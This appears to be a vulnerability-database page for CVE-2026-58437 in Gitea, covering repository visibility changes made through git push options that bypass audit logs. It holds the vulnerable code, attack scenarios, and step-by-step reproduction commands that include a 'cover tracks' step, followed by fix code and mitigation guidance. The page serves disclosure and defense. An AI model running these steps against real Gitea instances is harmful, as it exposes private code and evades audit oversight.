Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-58437 — gitea

HIGH

CVE-2026-58437 is a high-severity (CVSS 7.1) CWE-284 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Repository Visibility Manipulation via Git Push Options

Also known asGHSA-8p9h-49rc-qgxjGO-2026-6047
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk
0.00%0.28%0.56%0.84%0.2%0.3%0.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-58437 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 395,308 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Repository Visibility Manipulation via Git Push Options

FieldValue
Affected Filerouters/private/hook_post_receive.go
Affected FunctionHookPostReceive()
Affected Lines173–225
PrerequisiteAttacker must have owner-level or admin collaborator access to the target repository

Description

Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.

This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger:

  • No entry written to the repository's audit/activity log
  • No webhook event fired (repository event with visibility_changed action)
  • No org-level notification to owners
  • No team permission re-calculation
  • No email alert to watchers
  • The database update uses UpdateRepositoryColsNoAutoTime, which also suppresses the updated_at timestamp change

Vulnerable Code

routers/private/hook_post_receive.go:173–225

isPrivate  := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate)  // "repo.private"
isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template"

if isPrivate.Has() || isTemplate.Has() {
    // ... loads repo and verifies pusher is owner or admin ...
    if !perm.IsOwner() && !perm.IsAdmin() {
        ctx.JSON(http.StatusNotFound, ...)
        return
    }

    // FIXME: these options are not quite right, for example: changing visibility
    //        should do more works than just setting the is_private flag
    // These options should only be used for "push-to-create"
    if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {
        // TODO: it needs to do more work
        repo.IsPrivate = isPrivate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")
        //         ^^^ bypasses updated_at timestamp, audit trail suppressed
    }
    if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {
        repo.IsTemplate = isTemplate.Value()
        repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")
    }
}

The push option constants are defined in modules/private/pushoptions.go:18–19:

GitPushOptionRepoPrivate  = "repo.private"
GitPushOptionRepoTemplate = "repo.template"

Attack Scenario

Scenario A — Insider threat / rogue admin collaborator

An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push.

Scenario B — Supply-chain template poisoning

A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.


Step-by-Step Reproduction

Prerequisites:

  • A Gitea user account with either owner or admin-collaborator access to a private repository
  • git client with push access to the repository

Step 1 — Confirm the target repository is private


Step 2 — Clone the repository

git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo
cd /tmp/target-repo

Step 3 — Make any commit (the push option rides on a real push)

echo "$(date)" >> .gitkeep
git add .gitkeep
git commit -m "routine update"

Step 4 — Execute the exploit push

# Make the repository public
git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \
  -o repo.private=false

# The push completes with a normal success message:
#   remote: Processed 1 references in total
#   To http://<gitea-host>/OWNER/REPO.git
#      abc1234..def5678  main -> main

Step 5 — Verify the repository is now public


Step 6 — Restore and cover tracks

Re-make it private in the same session, leaving no visible audit trail

The repository activity feed shows only two normal push events. The visibility change is invisible.

Verification: confirm no activity log entry


Impact Details

ImpactDescription
Data exfiltrationPrivate source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public
No audit trailUpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification
Supply chainCombined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template
ScopeAffects all repos where the attacker has admin-collaborator access — not only repos they own

Recommended Fix

Option 1 (preferred) — Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:

// routers/private/hook_post_receive.go
if isPrivate.Has() || isTemplate.Has() {
    if !wasEmpty {
        // repo already existed — refuse these options on established repos
        log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName)
        // do not process
    } else {
        // original push-to-create path only
        ...
    }
}

Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:

// Instead of the raw UpdateRepositoryColsNoAutoTime call:
if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil {
    ...
}

Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0go get code.gitea.io/gitea@v1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58437 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is rated as Important because a flaw in Gitea, as used in OpenShift Pipelines, allows an authenticated attacker with push access to a repository to manipulate its visibility via Git push options. This could lead to unauthorized disclosure of private repository contents or disruption of access to public…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-58437 (CC BY 4.0)

Frequently Asked Questions

### Repository Visibility Manipulation via Git Push Options | Field | Value | |-------|-------| | **Affected File** | `routers/private/hook_post_receive.go` | | **Affected Function** | `HookPostReceive()` | | **Affected Lines** | 173–225 | | **Prerequisite** | Attacker must have owner-level or admin collaborator access to the target repository | --- #### Description Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during `git push` using the `-o` flag. Two undocumented push options, `repo.private` and `repo.template`, allow any user
O3 Security · Impact-Aware SCA

Is CVE-2026-58437 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-58437: gitea — Fixed in 1.27.0